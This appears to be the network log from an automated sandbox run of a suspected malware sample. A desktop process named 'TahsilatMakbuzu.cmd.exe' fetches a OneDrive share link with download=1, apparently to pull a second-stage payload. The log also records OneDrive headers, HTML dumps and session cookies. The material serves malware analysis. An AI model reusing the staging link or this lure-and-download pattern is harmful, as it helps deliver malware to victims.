2024-07-04 18:16:55 UTC	1922	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,3653,0,36396,4 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 381239a1-60a3-5000-f1bf-1a563c4345c9 request-id: 381239a1-60a3-5000-f1bf-1a563c4345c9 MS-CV: oTkSOKNgAFDxvxpWPENFyQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 27 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 5CB91C1AAB1C41F5A8024887A33F7737 Ref B: BN3EDGE0405 Ref C: 2024-07-04T18:16:55Z Date: Thu, 04 Jul 2024 18:16:55 GMT Connection: close
2024-07-04 18:16:55 UTC	14	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 Data Ascii: <!DOCTYPE ht
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f Data Ascii: ml><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" /><link rel="sho
2024-07-04 18:16:55 UTC	6374	IN	Data Raw: 32 2d 32 35 42 36 2d 34 41 36 33 2d 42 45 46 31 2d 42 33 33 45 35 32 41 44 39 36 33 41 22 3a 74 72 75 65 2c 22 34 46 34 31 42 36 37 45 2d 45 45 38 36 2d 34 32 31 46 2d 39 31 44 39 2d 31 41 35 39 30 39 41 31 30 43 38 43 22 3a 74 72 75 65 2c 22 31 39 42 38 36 35 43 39 2d 45 44 44 36 2d 34 31 45 36 2d 41 45 41 32 2d 34 43 33 39 39 39 42 36 46 32 42 41 22 3a 74 72 75 65 2c 22 46 33 43 34 34 33 43 34 2d 31 36 37 38 2d 34 33 34 39 2d 41 36 43 35 2d 45 35 37 35 32 42 39 35 43 33 46 34 22 3a 74 72 75 65 2c 22 37 34 45 38 37 34 32 38 2d 38 33 46 42 2d 34 31 31 36 2d 39 42 39 38 2d 34 41 37 44 34 46 31 32 36 45 41 32 22 3a 74 72 75 65 2c 22 31 37 35 34 38 33 41 37 2d 35 37 44 34 2d 34 32 33 33 2d 42 34 39 42 2d 42 39 36 33 33 39 41 35 41 35 46 45 22 3a 74 72 75 65 Data Ascii: 2-25B6-4A63-BEF1-B33E52AD963A":true,"4F41B67E-EE86-421F-91D9-1A5909A10C8C":true,"19B865C9-EDD6-41E6-AEA2-4C3999B6F2BA":true,"F3C443C4-1678-4349-A6C5-E5752B95C3F4":true,"74E87428-83FB-4116-9B98-4A7D4F126EA2":true,"175483A7-57D4-4233-B49B-B96339A5A5FE":true
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 31 Data Ascii: 08EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267831
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c 22 Data Ascii: D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,"
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 31 Data Ascii: 3-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A1
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 41 Data Ascii: 4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4A
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 2d Data Ascii: 5B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542-
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 33 Data Ascii: e,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A3
2024-07-04 18:16:55 UTC	8192	IN	Data Raw: 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 72 Data Ascii: DDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49774	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:56 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:56 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF150557F52 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: WKGbn2c+dU+31n896hM22Q.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 61134D66045A44338CFA5ACDD493B5B3 Ref B: EWR30EDGE0111 Ref C: 2024-07-04T18:16:56Z Date: Thu, 04 Jul 2024 18:16:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49775	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:57 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:57 UTC	2225	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:kvuNfVWc3Ig=:4p8i+TmyCd3C8tzfaFRVOsjSid20aIVPdjuTXDcLX+c=:F; domain=.live.com; path=/ Set-Cookie: xid=ee7c0d1a-658d-4c05-b4c0-add4fec3c519&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:57 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODE3LCJuYmYiOjE3MjAxMTcwMTcsImdpdmVuX25hbWUiOiI1MyIsImZhbWlseV9uYW1lIjoiUmhpbm9jZXJvcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjZhZDQ2NTZlMzEzZjc0YzBlYzdjZTQ2MGI1NWExODE3IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMTd9.G63E1lkXlDcTd8aTifbz7Yvkvb0MEOLR717fyaskNLcOXELlNo6MFvIx24LSkgpE0kufzMU7NHXdkRlamV7rzWw6dvXT6eBoGpMsag3GAaNV2i7OFJP1XnjEeuhyIWAnlc2nBKjCue90Ih2CTPdlcTpHnDeXSku-wh0iace_M-iREngdSLJoRzM-5twYGvrq5JR7jVBuSKyaKwW6PPutftcSuDSU-SW2uQ2mF-dqcwpiAsPKuDr7gjURSyTdtx9JhCZpV3YdVGPURcKEtk3ijAa_h650QZEvuNTb59weOzkzpFtvywIHkoyIMBU8zc1tJENmZoXWP27tQUCnDvU9oA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:57 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-bj4w9 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B0BB132962C1481299DE47277BDED9BC Ref B: BN3EDGE0808 Ref C: 2024-07-04T18:16:57Z Date: Thu, 04 Jul 2024 18:16:56 GMT Connection: close
2024-07-04 18:16:57 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49776	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:58 UTC	1293	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODE3LCJuYmYiOjE3MjAxMTcwMTcsImdpdmVuX25hbWUiOiI1MyIsImZhbWlseV9uYW1lIjoiUmhpbm9jZXJvcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjZhZDQ2NTZlMzEzZjc0YzBlYzdjZTQ2MGI1NWExODE3IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMTd9.G63E1lkXlDcTd8aTifbz7Yvkvb0MEOLR717fyaskNLcOXELlNo6MFvIx24LSkgpE0kufzMU7NHXdkRlamV7rzWw6dvXT6eBoGpMsag3GAaNV2i7OFJP1XnjEeuhyIWAnlc2nBKjCue90Ih2CTPdlcTpHnDeXSku-wh0iace_M-iREngdSLJoRzM-5twYGvrq5JR7jVBuSKyaKwW6PPutftcSuDSU-SW2uQ2mF-dqcwpiAsPKuDr7gjURSyTdtx9JhCZpV3YdVGPURcKEtk3ijAa_h650QZEvuNTb59weOzkzpFtvywIHkoyIMBU8zc1tJENmZoXWP27tQUCnDvU9oA; E=P:kvuNfVWc3Ig=:4p8i+TmyCd3C8tzfaFRVOsjSid20aIVPdjuTXDcLX+c=:F; xid=ee7c0d1a-658d-4c05-b4c0-add4 [TRUNCATED]
2024-07-04 18:16:58 UTC	1922	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,1530,0,26491,4 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 391239a1-f076-5000-e8a1-b4a4f8334f86 request-id: 391239a1-f076-5000-e8a1-b4a4f8334f86 MS-CV: oTkSOXbwAFDoobSk+DNPhg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F03CABC137EC49A6B92CD899881BA122 Ref B: BN3EDGE1111 Ref C: 2024-07-04T18:16:58Z Date: Thu, 04 Jul 2024 18:16:57 GMT Connection: close
2024-07-04 18:16:58 UTC	659	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
